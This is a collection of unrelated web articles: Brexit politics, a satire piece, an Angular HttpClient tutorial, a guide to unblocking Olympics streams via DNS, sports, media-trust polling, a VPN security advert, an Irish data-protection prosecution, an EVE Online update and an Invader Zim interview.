delay to the end of 2017, Mr Johnson said: 'If you think about it there are obviously euro elections coming down the track.  'I think people will be wondering if we want to send a fresh batch of UK Euro MPs to an institution we are going to be leaving.  'So let's get on with it, we are not going to let it drag on as the PM has rightly said.'  Theresa May has insisted Britain will not rush into invoking Article 50 of the EU treaties and made her position clear in talks this week with European Parliament president Martin Schulz, pictured  The Vote Leave champion refused to be drawn in the interview whether he had 'forgiven' or even spoken to Michael Gove, his former ally, since the Brexit aftermath.  Mr Gove was due to run Mr Johnson's leadership bid to succeed David Cameron at No 10 but stunned Westminster by dumping his colleague and making his own bid for power.  Mr Johnson refused to answer a series of questions on his relationship with Mr Gove but said: 'I am very, very happy to be doing the job I am doing.  'People want us to get on and deliver the agenda Theresa May and the new government have set out.'  Pressed again, Mr Johnson insisted: 'People, if I may say so, are probably more interested in the tragic plight of people in Aleppo than the microcosmographia of the Tory party infighting'.  Mr Johnson refused to comment on his relationship with Michael Gove, his former Vote Leave colleague who detonated his hopes for No 10 in the aftermath of the referendum  In another shot across Mrs May’s bows, International Trade Secretary Liam Fox will suggest in a speech tomorrow that Britain should leave the single market entirely.  The prominent Brexiteer’s comments will come despite the fact the Government has not yet revealed whether it believes the UK should retain access to the market.  He will tell the World Trade Organisation that the UK should take its place as a full independent member, able to negotiate its own deals outside the EU.  At present, Britain is unable to strike free trade agreements with other nations because it is part of the EU’s ‘customs union’, which imposes common tariffs across the bloc.
-TEMPE, AZ—Touting numerous benefits of the practice with a series of loud, slurred remarks, drunk nutritionists from Arizona State University held a press conference Wednesday at which they strongly recommended eating an entire frozen pizza at 3 a.m. “Hey, we strongly advise people to just take the pizza out of the oven, slice ’er up, and shove the pieces right into their mouths as fast as possible,” said nutrition specialist Rebecca Foreht, who swayed slightly and gripped the lectern for balance while clarifying that it was also permissible to tear apart hunks of pizza with your bare hands or simply chew your way through an entire uncut pie, “which is just like a giant huge slice.” “Dude, dude, listen, you should totally blow on the pizba [sic] really quick and then just chow down so it doesn’t [incomprehensible mumbling]. Oh man, the … Anyway, you just gotta do it.” The inebriated nutritionists added that in lieu of frozen pizza, individuals could simply take out a bag of shredded cheddar from the refrigerator and tip it directly into their mouths.  Advertisement
-Angular 4.3 brings us a new easier way to handle http requests with the HttpClient library. It’s available under a new name to avoid causing breaking changes with the current Http library. HttpClient also gives us advanced functionality like the ability to listen for progress events and interceptors to monitor or modify requests or responses.  Make sure you're using Angular 4.3 or above to try out HttpClient  Installation  First, you’ll need to import HttpClientModule from @angular/common/http in your app module:  app.module.ts  import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { HttpClientModule } from '@angular/common/http' ; import { AppComponent } from './app.component'; @NgModule({ declarations: [AppComponent], imports: [ BrowserModule, HttpClientModule ], providers: [], bootstrap: [AppComponent] }) export class AppModule {}  And then you can use the HttpClient just as you would normally:  some.service.ts  import { Injectable } from '@angular/core'; import { HttpClient } from '@angular/common/http' ; @Injectable() export class DataService { constructor( private http: HttpClient ) {} // ... }  Basic Usage  Making basic GET, POST, PUT, PATCH or DELETE requests is very similar to what you’re used to with the old Http API. One major difference is that a JSON response is expected by default, so there’s no need to explicitly parse the JSON response anymore.  Here’s a sample GET request:  // ... constructor(private http: HttpClient) {} getData() { this.http.get(this.url).subscribe(res => { this.posts = res; }); }  If you expect something else than JSON as the response, you can specify the expected response type using an object with the responseType key:  getData() { this.http.get(this.url, { responseType: 'text' } ).subscribe(res => { this.data = res; }); }  You can also define an interface for the shape of the response and type-check against that interface:  interface Post { title: string; body: string; }; // ... constructor(private http: HttpClient) {} getData() { this.http.get< Post >(this.url).subscribe(res => { this.postTitle = res.title; }); }  By default the HttpClient returns the body of the response. You can pass-in an object with an observe key set to a value of ‘response’ to get the full response. This can be useful to inspect for certain headers:  getData() { this.http.get(this.url, { observe: 'response' } ).subscribe(res => { this.powered = res.headers.get('X-Powered-By'); this.postTitle = res.body.title; }); }  Post, put and patch requests  Making a POST, PUT or PATCH request is just as easy:  postData() { this.http.post(this.url, this.payload).subscribe(); }  Notice how we still have to subscribe in order for the request to be made. Without the subscribe call, the request is cold. You’ll obviously probably want to handle any response back or error:  postData() { this.http.post(this.url, this.payload).subscribe( res => { console.log(res); }, (err: HttpErrorResponse) => { console.log(err.error); console.log(err.name); console.log(err.message); console.log(err.status); } ); }  A request error is of type HttpErrorResponse and contains, among others, an error name, error message and server status.  Options for passing-in headers or query parameters can also be added to a POST, PUT or PATCH request using the headers or params keys in the object passed-in as the 3rd argument:  updatePost() { this.http .put(this.url, this.payload, { params: new HttpParams().set('id', '56784'), headers: new HttpHeaders().set('Authorization', 'some-token') }) .subscribe(...); }  Notice here the use of the HttpParams and HttpHeaders classes. You’ll need to import these from @angular/common/http as well.  Progress Events  A great new feature with HttpClient is the ability to listen for progress events. This can be done on any type of request and different information will be available during the lifecycle of the request event. Here’s a full example with a GET request:  import { Injectable } from '@angular/core'; import { HttpClient, HttpRequest , HttpEvent , HttpEventType } from '@angular/common/http'; @Injectable() export class DataService { url = '/some/api'; constructor(private http: HttpClient) {} getData() { const req = new HttpRequest('GET', this.url, { reportProgress: true }); this.http.request(req).subscribe((event: HttpEvent ) => { switch (event.type) { case HttpEventType.Sent: console.log('Request sent!'); break; case HttpEventType.ResponseHeader: console.log('Response header received!'); break; case HttpEventType.DownloadProgress: const kbLoaded = Math.round(event.loaded / 1024); console.log(`Download in progress! ${ kbLoaded }Kb loaded`); break; case HttpEventType.Response: console.log('😺 Done!', event.body); } }); } }  We first need to build a request object by creating an instance of the HttpRequest class and using the reportProgress option.  We then subscribe to our request object to initiate the request and listen to the different event types over the life of the request. We can react appropriately depending on the event type. The available event types are Sent, UploadProgress, ResponseHeader, DownloadProgress, Response and User.  In the above example, we get the amount of data downloaded so far from the GET response, and in the case of something like a POST or PUT request we could also get the percentage of the payload uploaded by using something like 100 * event.loaded / event.total . This makes it very easy to show a progress bar to the user.  🤓 This post covered the basics of HttpClient, and next will tackle the use of interceptors, the killer feature of HttpClient. You can also head over to the official docs to go more in-depth.
-The Sochi Olympics are in full swing, but Americans looking to watch the games online need a cable account to check out NBC's coverage. There are ways around it though. Here's what you'll need to do.  You have two pretty solid alternatives to NBC's paid streams from the BBC in the United Kingdom or the CBC in Canada, but Americans can't stream the live video without some workarounds because they're region locked. As NPR pointed out during the last Olympics, using a service to get around this is a bit of a legal and moral grey area, so use them at your own risk.  Advertisement  You have a bunch of different options for ways to do this that we'll show you at the end, but we're going to take a look at the simplest and most reliable way to watch these live streams, using the same service we used during the 2012 Summer Olympics: Unblock Us. We've tried a ton of different options, and Unblock Us consistently gave us the best quality of streams. It's free for one week or $4.99 a month. Here's how to set it up.  Step 1: Sign Up for Unblock-Us  Head over to Unblock Us and create a free account with your email address. Within a couple of minutes you get an email confirming your account is active, and you're ready to go.  Advertisement  Step 2: Enable Unblock Us DNS Servers and Restart  Next up you need to run your computer's connection through Unblock Us's DNS servers. Set up is a little different for both Windows and Mac. You can also set up Unblock Us on a ton of other devices like the PS4, Wii, iPhone, iPad, Android devices, smart TVs, and more.  Set Up Unblock Us on Windows 8  Setup in Windows 8 is pretty straight forward. You can either follow the directions below and do it manually, or download an easy setup app to do it in a couple clicks.  Advertisement  Open Windows Explorer, click on Computer, and then Open Control Panel Select Network and Internet Select Network and Sharing Center Click on the "Change Adapter Settings option Double click your adapter and select "properties" Select IPv4 and click on Properties Add the following DNS servers under "Use the following DNS server addresses:  Prefered: 208.122.23.22  Alternate: 208.122.23.23 Click OK and restart your computer  Set Up Unblock Us on a Mac  Setting up Unblock Us on your Mac is just as easy as it is in Windows.  Open System Preferences > Network Select either Wi-Fi (for wireless) or Ethernet (for wired) Select Advanced > DNS Click the plus symbol and add these two DNS servers:  208.122.23.22  208.122.23.23 Reboot your computer  Step 3: Watch the Olympics  Advertisement  Now your computer is set and you can watch the Olympics either on the BBC's official landing page, or the CBC's landing page. If you don't want to watch the Olympics on your tiny computer screen, you can always hook your computer up to your TV.  If you're not watching the Olympics, we suggest you turn Unblock Us off and return to your normal DNS settings so you don't slow down your connection. If you want something you can easily flip on and off, you have a few more options.  Advertisement  Alternate Methods to Watch Other Olympic Streams  The above method is just one of many different services you can use. If you'd like to try a different approach, here are a few suggestions:  Advertisement  Regardless of which method you choose, the BBC and CBC coverage is a lot more widespread than the NBC's (not to mention viewable without a cable account), so enjoy the show.
-March 28, 2013 at 5:31 PM  Alan Branch wasn’t the most successful of Seattle’s free-agent signings.  He didn’t have the impact of someone like Sidney Rice, who led Seattle with 50 catches last season. He never had a game like tight end Zach Miller, who had 142 yards receiving in the Divisional Playoffs against Atlanta.  But Branch ranked as a thoroughly effective addition, a player Seattle signed to a two-year, $7 million contract in 2011 who then held down a starting spot for two years in the middle of one of the league’s better defenses.  Branch’s success was relatively modest when compared to importing a Pro Bowler from the CFL in Brandon Browner of a fifth-round pick becoming an All-Pro as Richard Sherman did, but it shouldn’t be forgotten that Branch turned out to be a far better player than his previous employer imagined. The Arizona Cardinals drafted him in the second round and concluded after four years he was an underachiever. His two years in Seattle said otherwise.  And now, it’s Seattle’s success with Branch that vouches for the organization’s move to replace him with Tony McDaniel, and if that sounds confusing, well, just hang with us for a second.  You have to put the addition of McDaniel in context with all the other moves that Seattle has made along its defensive line under general manager John Schneider, and that will take some time. See, there have been a lot of those moves whether it was letting Cory Redding leave as an unrestricted free agent in 2010, trading for Kevin Vickerson from Tennessee during the 2010 draft only to subsequently replace Vikcerson with Junior Siavii before the season began. A year later, Branch made the team while Siavii did not and last year came the one-year experiment with Jason Jones.  Where in that string of names do you come across a guy that makes you think, ‘Man, the Seahawks really should have kept him? They sure blew it.’ That’s not to say none of those players had value. Redding played a role on the Ravens’ playoff defense in 2010 — scored a postseason touchdown — and then he followed his defensive coordinator to Indianapolis when Chuck Pagano got the job as the Colts head coach last year. Vickerson is still in the league, too, playing with the Denver Broncos.  But the point is that Seattle kept searching for better talent while keeping the cost relatively low.  Branch was a good player for Seattle, but Seattle took a look at his work, measured it against the viability of a replacement like McDaniel and decided the latter represented a better value. Were the Seahawks right? We’ll have to wait until the season to find out, but Seattle’s track record at that position in particular indicates the Seahawks don’t often wind up shooting themselves in the foot.
-To those of us in the news biz, the headline on a new Gallup survey was dispiriting, to say the least: “U.S. Distrust in Media Hits New High”  “Americans' distrust in the media hit a new high this year, with 60 percent saying they have little or no trust in the mass media to report the news fully, accurately, and fairly,” Gallup reported Friday. “Distrust is up from the past few years, when Americans were already more negative about the media than they had been in years prior to 2004.”  That’s a far cry from the 1970s, when Gallup asked the question three times and found trust in the media as high as 72 percent.  It also means that “negativity toward the media is at an all-time high for a presidential election year,” according to Gallup, which is “particularly consequential at a time when Americans need to rely on the media to learn about the platforms and perspectives of the two candidates vying to lead the country for the next four years.”  RECOMMENDED: Are you smarter than a Fox News viewer? How about a CNN viewer? Take our quiz to find out.  There’s a definite political tilt to such findings.  Trust in the media – defined as having a “great deal” or “fair amount” of trust – is very low among Republicans (26 percent) and independents (31 percent), considerably higher among Democrats (58 percent). Paradoxically, Republicans are the partisan group most likely to be paying close attention to news about national politics, Gallup finds.  How have things changed since the media’s relative glory days in the '70s and earlier?  Back then, most Americans relied on local newspapers and such much-admired TV broadcasters as Walter Cronkite and Howard K. Smith, whose veracity was rarely questioned. When Mr. Cronkite ended his broadcasts with his signature “and that’s the way it is,” most of us believed him.  Vietnam and Watergate changed that to some extent. (It changed Cronkite, who publicly turned against the Vietnam War.) So did the civil rights movement and the push for gender equality. Establishment thinking and policies came under greater scrutiny, and conventional beliefs were challenged.  Fast-forward to the present, and the source of news (perhaps that should be “news”) has exploded. Many fewer newspapers, but a lot more cable television, radio and TV talk shows, news-based entertainment (Jon Stewart), partisan and ideological web sites, and so many bloggers that it brings to mind the old saw about monkeys and typewriters – what Chris Gaither and Susannah Rosenblatt writing in the Los Angeles Times several technological generations ago (2005) called “the uncensored bastions of ideological chest-thumping.”  Back to that partisan split in perceptions about trust in the media. Are reporters and editors, broadcasters and producers biased in a liberal direction? Is that why Democrats are more likely to trust the press?  That’s certainly the perception among many conservatives. How many times has Sarah Palin decried the “lamestream media?”  The mainstream media these days is nothing if not self-examining.  “When The [New York] Times covers a national presidential campaign, I have found that the lead editors and reporters are disciplined about enforcing fairness and balance, and usually succeed in doing so,” Arthur Brisbane, the newspaper’s ombudsman, wrote in his final column last month. “Across the paper’s many departments, though, so many share a kind of political and cultural progressivism – for lack of a better term – that this worldview virtually bleeds through the fabric of The Times.”  “As a result, developments like the Occupy movement and gay marriage seem almost to erupt in The Times, overloved and undermanaged, more like causes than news subjects,” Mr. Brisbane wrote.  Except for Fox News, broadcasters generally went nuts over Michelle Obama’s speech at the Democratic National Convention, leading Politico’s Jim VandeHei to observe that “the mainstream media tends to be quite smitten with the Obamas.”  But it’s also true that people tend to dwell in the media echo chamber they’re most comfortable with, whether it’s Sean Hannity and Fox News on the right or Rachel Maddow and MSNBC on the left. Fox News drew many more viewers to the Republican National Convention than the other broadcast or cable networks; NBC and MSNBC led the way at the Democratic National Convention.  It’s also true that the tea party movement and social conservatism have had a profound impact on traditional political conservatism, driving a deeper and angrier distrust of conventional media sources.  “I'm undoubtedly a liberal, which means that I'm in almost total agreement with the Eisenhower-era Republican Party platform,” Ms. Maddow quipped in 2010.  Regarding the Gallup survey, Andrew Beaujon of the Poynter Institute (a nonprofit school that promotes excellence in journalism) asks: “Is it possible people considering that question disassociate or exempt the media outlets they like (you have to work pretty hard to not find a news organization that skews toward whatever your views are these days) from the ones they distrust?”  Being down on the press has a long history in the United States.  “Newspapers serve as chimneys to carry off noxious vapors and smoke,” Thomas Jefferson wrote to Thaddeus Kosciusko in 1802.  But for many reporters and editors, who tend to be an idealistic lot, the words of the late, great columnist Molly Ivins still ring true:  Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree to our Privacy Policy  “I have long been persuaded that the news media collectively will be sent to hell not for our sins of commission, but our sins of omission. The real scandal in the media is not bias, it is laziness. Laziness and bad news judgment. Our failure is what we miss, what we fail to cover, what we let slip by, what we don't give enough attention to.”  RECOMMENDED: Are you smarter than a Fox News viewer? How about a CNN viewer? Take our quiz to find out.
-Your VPN is Only as Strong as Its Least Secure Endpoint  If you are like most companies, your corporate VPN is a critical part of your infrastructure—and it’s getting a heck of a workout. Thirty-seven percent of all workers in the U.S. now telecommute. Even if your workers are in a more traditional office, many of your employees will be traveling at any given moment. You might even have remote offices in other countries. With so many remote workers taking up bandwidth on your VPN, how do you audit their devices?  The concept of BYOD is busily colliding with the concept of VPN. Seventy-four percent of companies now incorporate BYOD policies—and yes, BYOD absolutely makes VPNs less secure. Sure, you have trust in your VPN and some level of safety in knowing only those set-up to use your VPN are actually connecting. As for the devices that your users are using to connect, however, it’s impossible to know if their configuration makes them insecure.  Download: The 802.1x Sting Whitepaper Now!  Let’s face it—once a corporate or BYOD endpoint leaves the security and control of your network, it is no longer available for you to scan, health check, validate or update. You don’t know where it has been, who it’s been with and most importantly how it might have changed. Yet, you welcome it to rejoin your company network at any time from anywhere via your VPN—after all, you trust the user and they have the authorization to use the company VPN, what could go wrong?  A Compromised VPN Could Be a Ticket to Your Worst Nightmare  Here’s a doomsday scenario: you could lose millions of dollars. Not from customer lawsuits (as in the case of most data breaches), or in reputational damage. You could have money stolen from you directly. This was the case when hackers used malware known as the Carberp Trojan to steal over a billion dollars from various banks over a three-year period.  Essentially, the attackers were able to use their malware in order to compromise the computers of trusted bank clerks. This malicious software allowed the attackers to remotely control computers in a manner similar to helpdesk software such as Teamviewer or LogMeIn. Because the clerks’ computers were already logged into the bank’s trusted network, the attackers had no difficulty rooting around and transferring billions of dollars into their own accounts.  You Can’t Trust Users with the Security of Their Own Devices  Did the Carberp attackers have much difficulty compromising administrators at those big banks? They did not—they used simple phishing attacks, which one in every three users will fall for, according to the 2016 Verizon DBIR. Even if you’re relatively confident that your users won’t be fooled, Murphy’s Law will go after you in any way it can.  Maybe your users disabled their firewalls. Maybe while traveling the anti-virus has not been updated. Maybe device encryption was disabled. Any number of things could change at a device level that would make the device a risk to your company. Any of these vulnerabilities leave the endpoint vulnerable to takeover, and could allow attackers to spread malware or intercept communications over your private network.  Choose an Intelligent Gatekeeper for Your VPN  Portnox CLEAR picks up when a device is no longer in the grasp and control of your company network and tools. An easy-to-deploy cloud solution, Portnox CLEAR maintains continuous real-time awareness of a device whether it’s on or off your network. CLEAR is always aware of the current risk posture of a device, and keeps constant tabs on the firewall, antivirus, patch level, and more.  Most importantly, CLEAR is not just aware—it’s active. VPN access is only permitted to devices who have a sufficiently low risk profile, based on the monitoring above. It’s no longer okay for any device that has VPN access to connect—with CLEAR you now have the added security knowing the device connecting is still in compliance. What’s more, CLEAR can prevent lost or stolen devices from accessing the private network by implementing two-factor authentication for VPN connections at no additional cost.  With CLEAR, you can let your devices travel, let them work from home, visit Starbucks, and attend seminars—and let them connect back via your VPN with the security, trust, and awareness Portnox CLEAR provides.  Start your CLEAR Free Trial Now!
-Eircom, recently rebranded as Eir, has been told to pay €35,000 to charity for illegally sending marketing texts and making phone calls to customers who did not want to receive them.  The company was before the Dublin District Court on Monday for a series of prosecutions taken by the Data Protection Commissioner.  In one case, a man who had been receiving multiple calls from Eircom’s marketing staff said they were bordering on ‘harassment’ and that he had completely lost patience and trust in the company to resolve the matter.  In another instance, a marketing text message without an opt-out option was sent out to over 11,000 customers.  Assistant data protection commissioner Tony Delaney, who investigated the complaints, told the court Eircom was one of the most complained of companies in relation to direct marketing offences and that none had had a higher number of complaints last year.  He noted the commissioner had, in her annual report for 2014, singled out Eircom for a case study and called for them to do better in this area.  “This is symptomatic of wider issues than just marketing. We get complaints about many other issues,” Mr Delaney said under examination by the commissioner’s counsel Ronan Kennedy BL.  Outlining his case against the company, Mr Delaney said one customer, Hugh Kane, made a complaint in May 2013 about unsolicited regular calls at tea time and late in the evening. The calls were numerous and an “unawanted intrusion” into Mr Kane’s privacy.  Even after the Data Protection Commissioner commenced an investigation and the company telling it Mr Kane had been opted out, he continued to receive calls. The commissioner’s investigation established that he had received “of the order of 50 communications” since he left Eircom in 2009.  Judge John O’Neill told Joe Jeffers BL, counsel for Eircom, he had listened to a catalogue of promises, undertakings and reassurances from the company that had been all “blatantly ignored”.  “The right hand doesn’t know what the left hand is doing in that company,” he said.  Mr Jeffers said there was “absolutely no sugar-coating” the situation.  “It’s absolutely unacceptable. The company accepts that,” he said.  The company wanted to apologise to all those customers affected, he said.  It was willing to make a very considerable charitable donation in line with the maximum fines that could apply to these charges, the court heard.  Judge O’Neill said the company had a bad attitude towards consumers, who relied on it as being a reputable company. “But their reputation is eroding,” he said.  Asking whether it was better that he imposed fines or that charities benefit, the judge said he believed the latter was the answer.  He adjourned the matter to December 16th and said if Eircom made a contribution of €15,000 to Pieta House, €10,000 to the Laura Lynn Foundation and €10,000 to the Children’s Hospital Crumlin, he would apply the Probation Act.  If the payments were not made by then he would convict and fine the company.  The court heard Eircom was previously convicted of two similar marketing offences in December 2013 and was fined €1,500 on each charge.  Its E-mobile arm was prosecuted in 2012 after it lost laptops containing the personal data of customers.  It was also charged in 2011 with making a call to someone on the national opt-out register for marketing cals.  Mr Delaney said he had, in effect, been in court prosecuting Eircom “every second year” for marketing offences.  Separately, Imagine Telecommunications Business Limited pleaded guilty to one charge of making an unsolicited marketing phone call without consent and was ordered to donate €2,500 to Merchant’s Quay Ireland.  Both defendants covered the commissioner’s legal costs.  Welcoming the outcome, Data Protection Commissioner Helen Dixon said data protection was about “the citizen’s fundamental right to privacy”.  “My office treats offences in relation to electronic marketing extremely seriously, vigorously prosecuting repeat offenders. The significant sums imposed today send a clear message that this type of marketing without consent is unacceptable.”
-Note: This is the first in – Bob willing – a series of updates on the state of the Amarr-Minmatar and Caldari-Gallente factional warfare zones in low sec.  So, is faction warfare dead yet?  Well, if you believe a whole slew of Reddit and the EVE Online forum threads then yes, it went the way of the dodo shortly after the introduction of Citadels. Why is that? Upwell structures have been dropped in all systems of any importance in the war zone, and these have removed the strategic advantage for a militia that previously came with owning a system (you can now dock and reship in enemy systems if you manage to drop an Astrahus in it). As a result, the only systems really worth fighting for today are the mission hubs. In addition to Citadel spam, capsuleers of all four factions share a number of similar gripes. Plex farming is a plague – veritable hordes of farmers switch factions regularly, based on Tier levels and LP markets. Combined with Citadels, it becomes difficult for any militia to motivate its members to seriously contest systems.  But wait – you say faction warfare is dead, but if you check the stats you still see thousands of players enlisted on each side, and lately, we’ve even seen some systems moving hands. It clearly isn’t entirely dead just yet, even though there is a deeply-rooted, pervasive sense in all militias that faction warfare could be so much more; that it could be the perfect gateway into lowsec and PvP in general for new capsuleers who have just entered New Eden, if only the abuses and aberrations in the system could be ironed out from time to time.  But putting that lament aside, let’s take a look at the state of play in the two war-zones.  Amarr-Minmatar  Since its collapse down to a single system a few weeks ago, the Amarr militia has managed to retake two systems: Anka and Saikamon. I guess it’s a start, but will this lead to a broader revival of the Amarr-Minmatar war? That remains to be seen, as it seems unlikely at this point that the Amarr militia will be able to resist the waves of Minmatar farmer alts that wiped them out just a little while ago.  One can only hope that they will get a different response this time, and some actual fights will ensue. The Amarr-Minmatar warzone has been plagued by hordes of farmers and has seen far fewer “good fights” than its northern counterpart; it has become a war only in name. Will the Minmatar militia show that it is still interested in fighting, or will it continue to game the system to rake in maximum ISK?  Caldari-Gallente  In the Caldari-Gallente warzone, things had been quiet for months after the collapse of CalMil’s Tier 3 push last winter. Gallente ended up driving CalMil back into its strongholds and retaking most of the war zone, and it did so in such an overwhelming fashion (thanks to its superior organization, powerful allies and a deep roster of both highly skilled veterans and plex-happy new players) that the conflict effectively ended. Having effectively starved itself of the content it needed to survive, GalMil then went looking for other feeding grounds and launched a sov campaign in Cloud Ring. This turned out to be a big success, and before long a large part of Cloud Ring had been occupied and even renamed “Galmilistan”.  With the majority of GalMil forces occupied in Galmilistan, CalMil began to move away from its hunkered down, defensive posture about a month ago and eventually began a small campaign to retake many of the Caldari systems that had been lost in the GalMil steamroll. System after system fell and CalMil spirits were on the rise as balance in the war zone was gradually restored (today, CalMil holds 46 systems to GalMil’s 55).  Then, earlier this week, GalMil forces returned to Black Rise and attacked the systems of Oinasiken and Aldranette, which were both lost by the Caldari in short order.  That leaves the current situation on the ground very much in flux: will Caldari push on, and will this prompt a return of the GalMil legions from the remote province of Galmilistan, or will things quiet down again?  It’s too early to tell. You’ll just have to stay tuned for the next update…  Full disclosure: Lynx Artrald is a director for Black Shark Cult in The Bloc and a proud member of the CalMil Coalition.
-Over the past year, we here at AIPT have been been reading, reviewing and really, really enjoying the new Invader Zim comic from Oni Press. A continuation of the Invader Zim animated series created by Jhonen Vasquez, Oni’s comic has channeled the spirit and spunk of its cartoon predecessor better than just about any screen-to-page transition we can think of.  But the Zim comic is only as successful as its creative team and hey, check it out, we’ve managed to wrangle that creative team for an interview! With us is Eric Trueheart, head writer of the comic and previously a writer for the cartoon, Warren Wucinich, the current main artist and previously a letterer and colorist, and Fred Stresing, the current colorist.  Please join us as we pick their brains on all things Zim; from their thoughts on the cartoon, what got them into the comic adaptation, and what magic they perform to make the comic every bit as good as its animated incarnation.  AiPT!: What was your introduction to Invader Zim? Did you watch it when it aired on Nickelodeon in the early 2000s? In reruns? Or did you come into this project cold? And if you did watch the show: Favorite episode?  Eric: Well, I worked on the original show, so my first introduction was my agent calling and saying, “We submitted your writing samples to this new show called ‘Invader Something.’” My next introduction was being led to the darkness of Jhonen’s office to have the brain slugs applied. I don’t think I have a favorite episode, but I’m always amazed that “Zim Eats Waffles” happened at all, so I’ll say that one.  Warren: I was already a fan of Jhonen’s comics and was excited for the show, but being a young starving artist I didn’t have cable, so I missed most of it when it originally aired. When you’re subsisting on Ramen noodles and Hot Pockets, cable TV is the stuff of dreams.  Favorite episode? Gosh, I dunno. “Parent Teacher Night”? “Future Dib”? “Battle of the Planets”? “Zim Eats Waffles”?  Fred: I was introduced to this show in the 2000s on a food court television. I think it was the one with the chicken-legged mech they had to keep plugging in. It had everything you could want in a cartoon: Robots, aliens, and a paranormal investigator with an abnormally large cranium (the classic sci-fi triad).  I was pretty much a fan from that point on.  As far as favorite episode… tougher question. I may have to give that to “Rise of the Zitboy” for giving me the hope that one day I too could turn my acne into a bulbous hypnotic friend. Still waiting on that.  A page from Invader Zim #13.  AiPT!: Who is your favorite character in the series, both as a fan and professionally? Do you discover that there’s one you liked watching on the show but find less fun to write? One you love to read but hate to draw? One you love as a character but not to color?  Eric: I can’t say I have a favorite character. Maybe Table-Headed Service Drone Bob? I’d love to do a 12-part comic on him. His epic journey from Coaster-Headed Service Drone to the triumphant Bob we know today.  Warren: I’m trying not to copout here but I always liked Zim in the cartoon. He’s just so neurotic and scheme-y and weird. My favorite to draw, however, is Dib. I’m always getting him wrong and having to go back and revise him but I can’t help but like him. He’s just so fun to pick on and punch and blow up and whatever. I love torturing him. Does that make me a bad person?  Fred: Favorite character probably has to go to Zim. Who doesn’t love coloring an angry shouting alien?  Second place goes to Bloaty’s Pizza Hog who I’ve yet to have the privilege to color. Fingers crossed, though.  AiPT!: Warren and Fred, this one is for both of you. Warren, you were the colorist on the book for a stretch of issues and Fred, you’re the current colorist. The Invader Zim cartoon had a very striking color palette (lots of purples and reds and greens), but just because something works in animation doesn’t mean it can make the transition to comics. Did you have any trouble translating the colors of the cartoon? Anything in particular you had to reevaluate because it just wasn’t working on the static page?  Warren: The show (especially the first season) was a lot darker and I was told fairly early on that we were going to take a brighter approach to the comic. There were a handful of wonderful colorists that came before me and my hat’s off to them because they did most of the heavy lifting in establishing palettes and tone. I kinda just spring-boarded off of them.  It’s also been really fun to see Fred color my work. He’s trying stuff I never would have considered and he pulls it off brilliantly. It’s very energetic and I really like that. He makes me look way too darn good.  Fred: The only real issue I’ve run into is making some of the darker and more vibrant color schemes work for print. If you can bear with me, I’ll get into the boring technical reasons:  Color gamut on a backlit TV show is always going to have the advantage of being sharper and more varied than CMYK, which has a limited printable palette. Especially in the case of neon and green colors, which, let’s face it, Zim uses in abundance.  So the trick is finding the right balance of vibrant and printable. The good news is, if it doesn’t look good, my editors can yell at me and I can fix it.  Another preview page from Invader Zim #13.  AiPT!: Fred and Warren, what is your operating logic on when to color GIR in his red “duty mode”? I’ve noticed that sometimes when he’s being cooperative, he’s still blue, while other times he’s red. Is it a judgment call thing; “GIR is being cooperative but not TOO cooperative so I’ll keep him blue”…? Are there many subtle levels to how cooperative GIR is?  Warren: That’s pretty much all in the script. I may have made a judgement call once or twice, but that decision usually comes from the writer.  Fred: For me, it depends on a few things. If the script calls for Duty Mode GIR, he’s red. If he is following orders with a super serious face, he’s red. If he’s got lasers and weapons popping out of his head, he’s red.  And sometimes GIR is blue when he’s following orders because he’s just not 100% into it that day.  AiPT!: Fred, the colorist often has control over the tone and atmosphere of the scene, depending on the palette they use. The Zim cartoon, and subsequently the comic could get pretty intense; balancing a precarious line between comedy and horror. How do you determine when to make a scene “scarier” or “sillier”? Do the characters involved ever affect how you play the scene (you’ll go “scary” for Ms. Bitters but not Professor Membrane)?  Fred: It really depends on a few things. The tone of the story and dialogue plays a big part with how I’m coloring a page. Another thing I like to do is keep an eye out for action panels, which I will try to make the center of attention, using more vibrant, impactful color to draw the eye and make it more exciting.  The real trick though is reading the script and figuring out the beats, figuring out the environments and coloring to mood of the scene.  Another preview page from Invader Zim #13.  AiPT!: Warren, you’ve been something of a Jack of All Trades since the series began. You were the letterer, then the colorist, then you took over drawing Recap Kid, and now you’re the artist. What went into making all those transitions?  Warren: Ooo, “Jack of All Trades.” I like that!  The transition part wasn’t so difficult. I’ve done different combinations of drawing, lettering, and coloring on other projects so I just go into that specific “mode” when I need to.  I’ve always wanted to work on good comics and I’ve always been willing to learn whatever skills were needed. Early on in my career when I couldn’t find work as a penciller I taught myself how to color and letter.  When I first heard that Oni Press was going to do a Zim comic, I just wanted to be involved no matter what the job was. (When someone asks if you want to work on Invader Zim, you say “YES!”) Thankfully, my editor, Robin Herrera is one of the best in the industry and she’s been an integral part of my various works on Zim. I really have her to thank for bringing me on to the Zim team to begin with.  AiPT!: Warren, a lettering question for you. With Zim, the lettering plays a major role in channeling the “voice” of the characters, which was a unique part of the animated series (the way characters would toggle back and forth between scheming and screaming). Did you have to come up with your own font for the screaming, or is it hand-lettered? And how do you determine when a line of dialogue warrants just an exclamation mark or the whole jagged boxed, giant screamy lettering job?  Warren: The screamy voice is a custom font I created. At first I was doing it by hand, which was great fun, but was ultimately impractical. It was slow and making revisions was tough so I made a few custom fonts of my hand-letters to speed things along.  In the script Eric and Jhonen usually let me know which dialogue needs to have an emphasis by italicizing or making it bold but that’s usually it. I normally get to decide what fonts to use or when the balloons do something wacky, and most of that is intuitive. Still to this day I’m in love with Todd Klein’s work on Sandman. The way he gave a lot of characters their own unique fonts and balloons was wonderful and I felt that Zim was a project that has the potential to do the same kind of thing. For example, I put all of GIR’s dialogue in rough, erratic balloons because GIR is a screechy little crazy thing. Zim’s computer has a different custom balloon than Tak’s ship and so forth.  AiPT!: Warren, you’ve taken over art duties on Zim from Dave Crosland and Aaron Alexovich, the main series artists who preceded you. What did you learn from them before taking the baton? Alexovich has been credited with layouts on some of your issues; what’s your system with him like?  Warren: Aaron did the layouts for my first issue and his work was pretty invaluable. He did the blueprints and the groundwork for the whole series and he was able to steer me in the right direction for when I took the training wheels off.  Oddly, what I learned the most from Dave is balance. Keeping the balance between a personal style and the established house style is a tricky business and Dave handled it really, really well.  AiPT!: Warren, do you ever find yourself having to review the cartoon to maintain cohesion with the Zim aesthetic (or just for any visual inspiration)? And how do you balance applying your own style to an existing “house style” that’s so distinctive?  Warren: Yeah, I reference the show a lot. Mostly for camera angles and occasionally design. The comic is quite different, but its roots still lay in the show, so I go back to it quite often. (Plus, any excuse to go back and re-watch the show is a 